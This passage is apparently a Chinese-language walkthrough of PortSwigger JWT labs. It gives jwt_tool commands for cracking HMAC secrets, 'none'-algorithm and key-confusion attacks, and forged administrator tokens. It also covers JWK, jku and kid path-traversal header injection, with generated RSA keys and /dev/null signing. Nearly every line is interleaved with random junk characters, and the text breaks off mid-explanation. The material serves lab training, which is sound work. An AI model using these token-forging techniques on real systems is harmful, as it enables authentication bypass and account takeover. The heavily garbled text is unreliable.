-C, --crack crack key for an HMAC-SHA token
(specify -d/-p/-kf)
0 v, b1 y+ q+ P- w6 c0 ~" F
-d DICT, --dict DICT dictionary file for cracking
5 Y; v3 V5 ?7 [% E* Y% ?8 B1 w
-p PASSWORD, --password PASSWORD
. H m; _3 Q) w( ?
password for cracking
8 [/ t& v: l% p; T0 q% E' V: F
-kf KEYFILE, --keyfile KEYFILE
& i4 Y7 t h5 H' g
keyfile for cracking (when signed with 'kid' attacks)
/ j7 {: C% B6 K3 G
-V, --verify verify the RSA signature against a Public Key
(specify -pk/-jw)
7 }8 `! v3 x1 Z: T& m0 l+ S2 l" A
-pk PUBKEY, --pubkey PUBKEY
Public Key for Asymmetric crypto
$ w5 {! z9 M* m# C5 W
-jw JWKSFILE, --jwksfile JWKSFILE
3 G+ }! B) A$ j4 V
JSON Web Key Store for Asymmetric crypto
-Q QUERY, --query QUERY
Query a token ID against the logfile to see the details of that request
e.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a
-v, --verbose When parsing and printing, produce (slightly more) verbose output.
If you don't have a token, try this one:
1 x, x- @5 o5 j! v1 w+ v
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po( I" m, R9 M& z) Z
2 S' f f4 @% f' [ Step 4:暴力猜解密钥. Y; k: N& `9 L3 v9 p' O
#命令格式
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
: g0 e3 ~' S+ j. x/ B8 K x. W$ ]
#执行示例
/ U8 F) U* x* R! H5 C
python3 jwt_tool.py eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw -C -d secrets.txt
, ]* F6 f [' l7 G$ V
附加扩展:! n1 `: C) V' F) H
& g: b& X& d+ ]3 P$ M' |' S8 n3 H0 r$ w) G: d2 [. j
#尝试破解密钥(HMAC算法)
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
#尝试使用已知的公钥对不对称密码(RS-,EC-,PS-)进行"密钥混淆"攻击
. v* C! J `) {& X' k, z e$ F
python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
) m" J1 Y3 c8 r
3 D s8 a3 Q4 k9 Q
#尝试使用"无"算法来创建未验证的令牌
3 d# y3 V* L8 N: r% a
python3 jwt_tool.py JWT_HERE -A
4 k2 X* o5 A% H+ c
#处理JSON Web密钥存储文件,重建公共密钥,然后测试密钥以查看验证令牌的密钥
python3 jwt_tool.py JWT_HERE -J -jw jwks.json
* y# w, \# L$ M" F# \ r
#生成一个新的RSA密钥对,将公钥作为JSON Web密钥存储对象注入令牌并使用私钥对令牌签名
2 t( X. j5 q3 b D c+ o* G- e
python3 jwt_tool.py JWT_HERE -I
) |6 D0 E( \4 @; f
- f8 R j( F# q& j0 ?( p* _% g N ?% t
#欺骗远程JWKS:生成新的RSA密钥对,将提供的URL注入令牌,将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务)并使用私钥对令牌签名
python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json, |/ u, N) e0 _
# _8 i, B- P6 s, t) f
Step 5:随后在网页端重新设置密钥(secret1)并重新产生的字符串
Header:
eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9
T/ i0 H9 u7 T4 G! m6 z* x
{"kid":"ccf8b97a-94fe-4c7d-9b61-276f0654c2eb","alg":"HS256"}( ^9 B5 d+ s$ p9 G
9 m2 P" E0 T: ?# L: D2 T7 m
1 D5 Z# W; k, @& P/ U; t& Lpayload(前):
- O) T' J- ]1 A+ p6 B" r
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0
{"iss":"portswigger","sub":"wiener","exp":1687799959}( O1 p4 p1 W. w& Q8 R
3 M# u% p" R; e# S7 u8 o
- a$ X; H0 y) y3 ~9 h- i! D( H0 M( I: g( v2 t payload(新):
+ @- W3 ^0 O7 f
{"iss":"portswigger","sub":"administrator","exp":1687799959}
F% B! _4 S" A @* `7 `' b/ t* V. ^
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9
. g* D0 L8 J$ y* h0 w' a0 p. r' m ; f) U1 S7 ~6 J8 C4 S* S/ E
! V( S+ t5 `; {% I+ ESigner:
/ P& U! D; `0 b: W+ y& U. j9 i9 _3 n# Q) j E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
1 D0 g0 G5 A, M4 D" |, w6 o w" a- I+ K0 k8 b2 Q1 L$ i
( }4 \7 Z+ {5 ?4 Q+ }最终高权限的JWT token如下:' S* h4 C/ F! ]
; ?2 k3 C9 e. C8 ^9 d$ ~8 [! ceyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9.E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
" W: k. ^! |9 O) V( N5 D1 s+ } ! }8 w% u* ~7 `3 b) s
Step 6:访问/admin路径1 Z2 c: H3 D4 K
. G6 v# @$ q2 Y
W5 E" p2 Y7 x N+ ^, S$ P1 s6 r; N Step 7:调用接口删除用户完成解答
/ B* x7 Z- g( A: q# A
* `1 e% G' m' J! z) o0 {, {: a- d( \4 m% H2 u/ m7 x
( i: I7 Q& p0 n, ~. I9 tJWT头部注入
' O, ^9 ~* G8 d% n3 w# p# b) m9 ^0 ]9 i5 L# A) ^ 场景介绍( a C2 }% i; W% d. W
9 |( _3 ]; `# @/ g如果服务器端使用一个非常脆弱的密钥,我们甚至有可能一个字符一个字符地来暴力破解这个密钥,根据JWS规范只有alg报头参数是强制的,然而在实践中JWT报头通常包含几个其他参数,以下是攻击者特别感兴趣的:. [2 s) } [8 j. E3 a
, A: V5 a. L# ~ w% _1 I& H 这些用户可控制的参数每个都告诉接收方服务器在验证签名时应该使用哪个密钥,下面我们将介绍如何利用这些参数来注入使用您自己的任意密钥而不是服务器的密钥签名修改过的JWT2 X: g% o+ d+ b" Q6 z- ~1 m
% V5 U5 f* }- w0 ?1 e( `9 H3 i- v0 E1 d( t [* a+ U 注入场景1
- A% T9 R8 G' V 下面我们介绍如何通过JWK参数注入自签名的JWT,JWS(JSON Web Signature)规范描述了一个可选的jwk header参数,服务器可以使用该参数以jwk格式将其公钥直接嵌入令牌本身,您可以在下面的JWT head中看到具体的示例:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
% R# l6 ]; @* o! M$ p! Z
"alg": "RS256",
& w5 G: @- ?+ s. b* {( v
"jwk": {
"kty": "RSA",
# N* [2 T+ R3 C8 g( [9 }# A
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
5 s E; k G2 W. F" r; Y
}
. v8 j. @( ?2 U3 V* O
}8 c! R* y* R; O3 \* Y
理想情况下服务器应该只使用有限的公钥白名单来验证JWT签名,然而错误配置的服务器有时会使用jwk参数中嵌入的键值,您可以通过使用自己的RSA私钥对修改后的JWT进行签名,然后在jwk头中嵌入匹配的公钥来利用这种行为,Burpsuite的JWT Editor扩展提供了一个有用的功能来帮助您测试此漏洞,您可以在Burp中手动添加或修改JWT参数
5 r" d, q; K, T8 V4 P3 j3 M
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection4 _3 n# a* _4 n' k- R5 ?
) K# K1 K9 s% Q! U/ E
h; Z4 A. r* N M& I Step 1:点击"ACCESS THE LAB"访问靶场* N. z3 Z+ w4 s2 ]0 Y
% J, Y @4 o# t% g, N7 N, f
, V p0 e% Y5 c0 @0 E; `; C& q& | Step 3:点击"My Account"登录系统" n7 S2 M# U" ?- [5 v& D
2 F2 w6 ~0 B$ g* P# Y7 i* y- j$ x3 w: j# q wiener:peter
6 @7 J( T0 I) A* d( d* A/ a
Step 4:登录之后可以看到如下邮箱更新界面4 K) d1 y" l& [# k' J; @- y4 G
: i0 t, T& ]5 C& y
+ c* x! q7 M4 f9 O; U- z3 YStep 5:下面我们开始操作,不过在此之前我们得先武器化以下自己,在Burpsuite界面选择"Extender"选项卡,紧接着点击"BApp Store"安装"JWT Editor"
之后你可以看到如下的选项卡界面 P1 d- r$ F2 Y {& j# H2 N/ ]
2 `/ q- _4 b6 z! V% d) G' E4 S( J" h/ ]
+ B) M0 ~+ C/ C3 V6 ]8 L/ i% Z' _: a( J9 A" r- j Step 6:生成一个新的RSA密钥
B, C9 G0 i i2 @( H- D
{
0 B3 [6 y8 j" d3 r' W$ ]
"p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
$ n, Q' X* Q% c$ M9 U6 O3 l& O( |
"kty": "RSA",
"q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
D* c2 h" w' K
"d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
"e": "AQAB",
1 U3 \& }# F/ ?4 M- u9 G
"kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
8 N1 f. k& b) E0 I; ?) C
"qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
) O w+ D1 B# w+ o$ w
"dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
"dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
% t9 v. f" |2 h0 o
"n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
}! ^6 `9 d2 d2 M& l; ~
" p2 ^4 ?2 ]' I9 _) J9 n/ H& H Step 7:刷新页面拦截到请求并将请求发送到Repeat模块* `2 j7 N; V" g, }* _; X4 t
7 O0 K$ j9 N5 M. V7 w: D- ~$ [* V' e" S& y
6 w( I7 j0 }5 Y Step 8:在Repeat模块,我们切换到JSON Web Token选项卡,修改JWT的有效负载将sub内容修改为administrator
$ P4 k$ k9 L6 v0 L8 f# Y7 g# b$ x: r- ~% K9 t8 t1 ^" Q, \
9 T; C" q8 D" Q9 w M $ d" G$ z, ^6 d; \ r% l/ ?
% V. @1 N! L% p( w/ Z( U# |+ ` Step 9:点击"Attack",然后选择"Embedded JWK",出现提示时选择您新生成的RSA密钥
1 V( ^* `( g) @ W3 ?2 F/ ]; E$ r) d, ~+ q I
( ^6 [* R2 o6 v% w# A) }- s Step 10:之后成功越权
& A! H3 s; G8 s8 ]( X' _1 X5 v& ?: t$ ^ + d( A6 w3 t1 Y, g1 b
4 W3 F4 V3 x9 B Step 11:调用敏感操作接口删除carlos用户完成解题
* H$ N* @; j! p0 ^% o. N, G0 H( u , {3 D* g: {- V* e9 ^
& B: u* I& O" S
# S; h0 K% O4 T, Z- W
8 |* n( @0 K. @$ }* G V) b/ a
D# d: M8 H8 E1 g" C3 x( O) p: J( N/ V) ?! t" q6 B 注入场景2
4 b' Z0 |1 P# F6 \* m8 ~- C/ r- ~+ W" V 有些服务器可以使用jku(jwk Set URL)头参数来引用包含密钥的JWK集,而不是直接使用JWK头参数来嵌入公钥,当验证签名时,服务器从这个URL获取相关的密钥,这里的JWK集其实是一个JSON对象,包含一个代表不同键的JWK数组,下面是一个简单的例子:( S: | S# b7 `0 p, {
0 u6 C# a2 E5 z+ ?0 a. m) x9 Z6 d R
{
* f N* k" I' u
"keys": [
8 D5 D+ S0 J0 x+ q
{
"kty": "RSA",
"e": "AQAB",
! @& R+ ?+ ?6 u
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
{
"kty": "RSA",
"e": "AQAB",
# O, q+ p8 [ h
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
}
]
5 u+ H+ N/ L2 T" K6 ^
}; w6 b% ?1 E9 x8 l2 f. {6 |
( Z6 |2 i: `' ?" ]- D+ n
JWK集合有时会通过一个标准端点公开,比如:/.well-known/jwks.json,更安全的网站只会从受信任的域获取密钥,但有时您可以利用URL解析差异来绕过这种过滤,下面我们通过一个靶场来实践以下
V) G* B( s' p& r; {6 n% Q* z
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
; O5 c5 J2 }! k: w1 v6 Y1 V
Step 1:首先点击上方的"ACCESS THE LAB"选项卡进入实验环境) k" j. B, {1 S- g7 d/ r. R
3 N; |, I! P, n0 F : M) K1 f! r: x5 A3 a* v x
) W- L* p0 L; X/ H9 j; g$ X; a) E( d# `& S9 a Step 2:登录系统2 i% y3 ]: D( h$ I- B, L
; l0 c5 }+ [# E2 }" a' u wiener:peter/ t+ y: y' Z* m. [5 `5 M
, [$ _% }( J* ^6 p- c) e, ? {- q1 L
8 K; W, q, D, o( I. O$ b6 n3 Z$ C1 V1 L" P! B/ M8 E0 C* Y3 i Step 3:随后你会看到一个用户邮箱更新的表单3 ~2 x/ W8 g: }/ f* f0 w# \
0 H+ J( l7 x( L+ |2 v& d
& O: M/ X9 W, LStep 4:使用burpsuite生成一个新的RSA密钥; B% d, H3 v5 D |
{
"p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
* v" G: U& M- `! l4 [ L) m5 P8 D
"kty": "RSA",
2 Q) v7 d; _' p0 F* f x
"q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
: L7 B$ A) f8 B* Z7 ~! O
"d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
! D1 ]' W" H) b1 G$ }
"e": "AQAB",
8 D% d1 ]9 s5 _7 l- `, h- M
"kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
"qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
"dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
"dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
"n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
7 I& M7 h. g/ K; D" F. A
}
7 i& K( X4 G- P2 V7 v( r. F* _ ) L' A5 i+ e7 S8 W! y4 d! J4 J# O* X. i
1 h1 q0 ^* E3 V; t8 N( F$ K7 h9 y+ @- Z Step 5:发送请求到repeat4 O8 V7 H# L$ f, v. j
& [5 a; j u; b' R( x, u! {5 Z! _8 y/ ~; A
1 w3 U+ \" e) g& \4 B* F$ c Step 6:复制公钥作为JWK# ~7 w9 b5 ~8 M+ w
c% i8 q! s0 f$ m) c* k
{
' `5 E3 }5 H, D2 K5 H' W8 y4 N" A
"kty": "RSA",
"e": "AQAB",
' g+ q, v ^# A- W- c+ R
"kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
"n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
4 k; G$ ?7 x& P6 E& ]
}
6 t3 W# I7 Z1 F4 T
' o2 \$ P) d% ]* x; D( z, n" ]Step 7:在题目中选择"Go eo exploit server",然后加上key头并保存到exploit的body中( {, E4 y/ b( ]) _
_1 a& @/ @0 _# ~/ P7 L5 p
{
; ~& X. w. K2 ^; f5 G! K# d! l
"keys": [
{
"kty": "RSA",
- y8 r1 s) i, F3 r! R3 F3 d
"e": "AQAB",
"kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
% k9 I% K, j+ d0 s' P
"n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
! f z6 W" A$ ~% S Q
}
- j% K1 p) [9 r8 |" V$ S% `
]
( u- X1 e# `) V' |
}8 F' {0 ^1 L9 H7 J/ G
) O" b( K8 f* W; b
4 H: ^, }5 Y( c2 m
+ S2 D+ f9 b. R, ?8 f5 P( A* Y1 O+ q& J, I0 ~ Step 8:然后切换至repeat的"JSON Web Token"界面,将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit0 L4 G' M$ M) i1 q. a3 }
3 _) C6 _( v2 W# U' Y
6 Y0 ~% {* F, \1 H
Step 9:切换sub为administrator
; M2 x/ r7 ?( U' v
9 s' B/ ?& H% K+ I$ w/ z: t Step 10:点击下面的sign,选择Don’t modify header模式 A# y3 V% l7 s- E3 h
& e& ^3 o# o& \; c, t2 R& ?4 h$ d' K, m% m ) j5 B, X/ x. r4 z- @+ q
8 C3 A3 V4 o+ M Step 11:更改请求路径发送请求成功越权
2 ~+ l) X6 E' Z9 |- {( @+ I ) X% ^! c- V1 ~- G; n
* g7 u$ h$ |0 x$ w7 LStep 12:请求敏感路径删除carlos用户
8 t* w+ m2 B3 e: e- Y- n6 Y. [$ d! zu/ P7 c( a, G7 N* U
Step 13:成功解题
7 L+ y+ l0 U7 a7 d7 w6 d. ^3 ~8 c/ h
# 注入场景3
/ O) Z `, m1 G) E9 @: D$ u; F) H1 @ 服务器可能使用几个密钥来签署不同种类的数据,因此JWT的报头可能包含kid(密钥id)参数,这有助于服务器在验证签名时确定使用哪个密钥,验证密钥通常存储为一个JWK集,在这种情况下服务器可以简单地查找与令牌具有相同kid的JWK,然而JWS规范没有为这个ID定义具体的结构——它只是开发人员选择的任意字符串,例如:它们可能使用kid参数指向数据库中的特定条目,甚至是文件的名称,如果这个参数也容易受到目录遍历的攻击,攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥,例如:
) m7 x }; [5 l* m) a4 n% r3 b( y8 `" z5 N$ I) H6 J8 I
{
, o. v* W5 O# d7 p% W
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
# x3 T- Z. B$ p/ b/ V: L
}
如果服务器也支持使用对称算法签名的jwt就会特别危险,在这种情况下攻击者可能会将kid参数指向一个可预测的静态文件,然后使用与该文件内容匹配的秘密对JWT进行签名,从理论上讲您可以对任何文件这样做,但是最简单的方法之一是使用/dev/null,这在大多数Linux系统上都存在,由于这是一个空文件,读取它将返回一个空字符串,因此用空字符串对令牌进行签名将会产生有效的签名
3 Z5 F; q; q3 D: f" u& F' a1 F
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal( h/ S5 Q0 ~ k- ]; E, _+ q
9 ^( {3 X6 [* X k
- V. R. H8 U: g9 @/ v1 p1 {* n) Q Step 1:点击上方"Access The Lab"进入靶场6 c2 H: t7 g' L$ w% J: B
/ X V* X* t) Y! v
Step 2:登录靶场
2 E7 H. I- O7 c. z
Step 3:登录后进入到如下邮箱更新界面
- J- U" q" `' u/ {& k% U2 f5 n# f 4 p/ R) t% F) E7 H& O. N* |3 [# u) x
Step 4:使用burpsuite的插件生成一个对称密钥(Symmetric Key)并将k的值修改为"AA=="即为null: a( L q3 O$ v4 x6 E3 e& v
{
* ]( O* {+ D& ~
"kty": "oct",
"kid": "38576880-33b7-4446-ade4-f1a78bb6d5c2",
( w) j: S9 l' M6 a$ T7 z
"k": "AA=="
}
6 @2 ]; i& ?: k* L
" p! u/ x+ o' C, L$ W! W6 e/ _: l0 j0 z Step 5:拦截一个请求将其发送到repeat模块6 s; D: t! G5 a5 ^9 C3 O
" C) S) v: N% v! \7 M4 }* I/ j
% f5 Y7 M$ h! D5 _4 D& r" A) _. kStep 6:此时直接访问/admin——提示"401 Unauthorized"3 Z: v' U% L( u
Step 7:在JSON Web Token界面中修改kid值和sub进行目录遍历,这里的"/dev/null"文件名与"AA=="一致都为null,对称密钥,所以可以成功绕过( ^2 j0 m. ~$ I: e% m7 ^7 `+ y# X
& Y" f- g5 t J( Q5 [( r% x! o b9 F7 {* A
{
) @5 F7 W' ~( ^
"kid": "../../../../../../../dev/null",
3 Y4 \+ a2 c: S$ q2 b9 a
"alg": "HS256"
- ?4 H+ v& x! V' G
}. v) C$ e0 V0 a% U
- q1 o% d- ^1 ?
7 w# d5 t5 X% S/ PStep 8:点击sign选择OCT8 的密钥攻击
" P8 ], Q A8 a7 T: V, t3 |+ u% U& n( O) T1 ]2 B
8 V; O" Z+ C1 O$ J4 N+ I9 t/ i" ~: f9 R/ F; [' g+ e$ n
+ A6 m. g# p+ p$ o8 q2 ~8 T% N2 R& ~. v1 Z Step 9:成功越权
R6 ~4 q2 x; m0 |2 X7 h9 v
; l5 m3 [) u/ n3 H, {( I Step 10:调用敏感接口删除carlos用户完成解题
o& [% E9 d5 r2 t# V9 a8 `7 y4 t
2 A6 ]' l' H- f5 }# [+ b( l; {! p! M6 u- A! }: i
+ o0 V) w9 {9 RJWT算法混淆# r* d3 Z/ s/ j8 z5 Q E7 G' o
) Z7 r8 I. C- B. n; P. W9 l8 [算法混淆- X& v* R% t; F; q
算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名,这种情况如果处理不当,攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥
$ `8 y4 h1 ]5 x. |* Y
JWT可以使用一系列不同的算法进行签名,其中一些,例如:HS256(HMAC+SHA-256)使用"对称"密钥,这意味着服务器使用单个密钥对令牌进行签名和验证,显然这需要像密码一样保密7 U/ J% S2 \/ W) n) d
, ~0 c6 T5 w% Y, _ d 其他算法,例如:RS256(RSA+SHA-256)使用"非对称"密钥对,它由一个私钥和一个数学上相关的公钥组成,私钥用于服务器对令牌进行签名,公钥可用于验证签名,顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发出的令牌的签名 n" W3 e3 b: Z2 X" Q- g6 F- C
0 Y# w( b; N' M% `* D$ R) e; e 4 r6 g& @ X6 C" x9 A
' {2 V' n1 C% L; l# [2 k% m+ D' E2 _, N% j' s 混淆攻击
算法混乱漏洞通常是由于JWT库的实现存在缺陷而导致的,尽管实际的验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的方法来验证签名,这些方法依赖于令牌头中的alg参数来确定它们应该执行的验证类型,下面的伪代码显示了一个简单的示例,说明了这个泛型verify()方法在JWT库中的声明:+ N4 X4 Q) o# k- s* b
[7 M5 \( h2 D! Z$ ?
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
" a0 p$ H, N9 J) u7 z# a* l! N
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
/ f5 a4 p# E# E8 u0 \: G! ~: l
// Use the provided key as an HMAC secret key
8 {# b0 u4 s: S
}
}: [ N4 O. E, a7 f: ]. U1 H( H
% M3 R. N+ J' [5 D1 Z% u* s 使用这种方法的网站开发人员认为它将专门处理使用RS256这样的非对称算法签名的JWT时,问题就出现了,由于这个有缺陷的假设他们可能总是传递一个固定的公钥给方法,如下所示:
publicKey = <public-key-of-server>;
* n, Q) d; l9 o/ [
token = request.getCookie("session");
verify(token, publicKey);& I" Z* K2 F$ S) o& C8 x
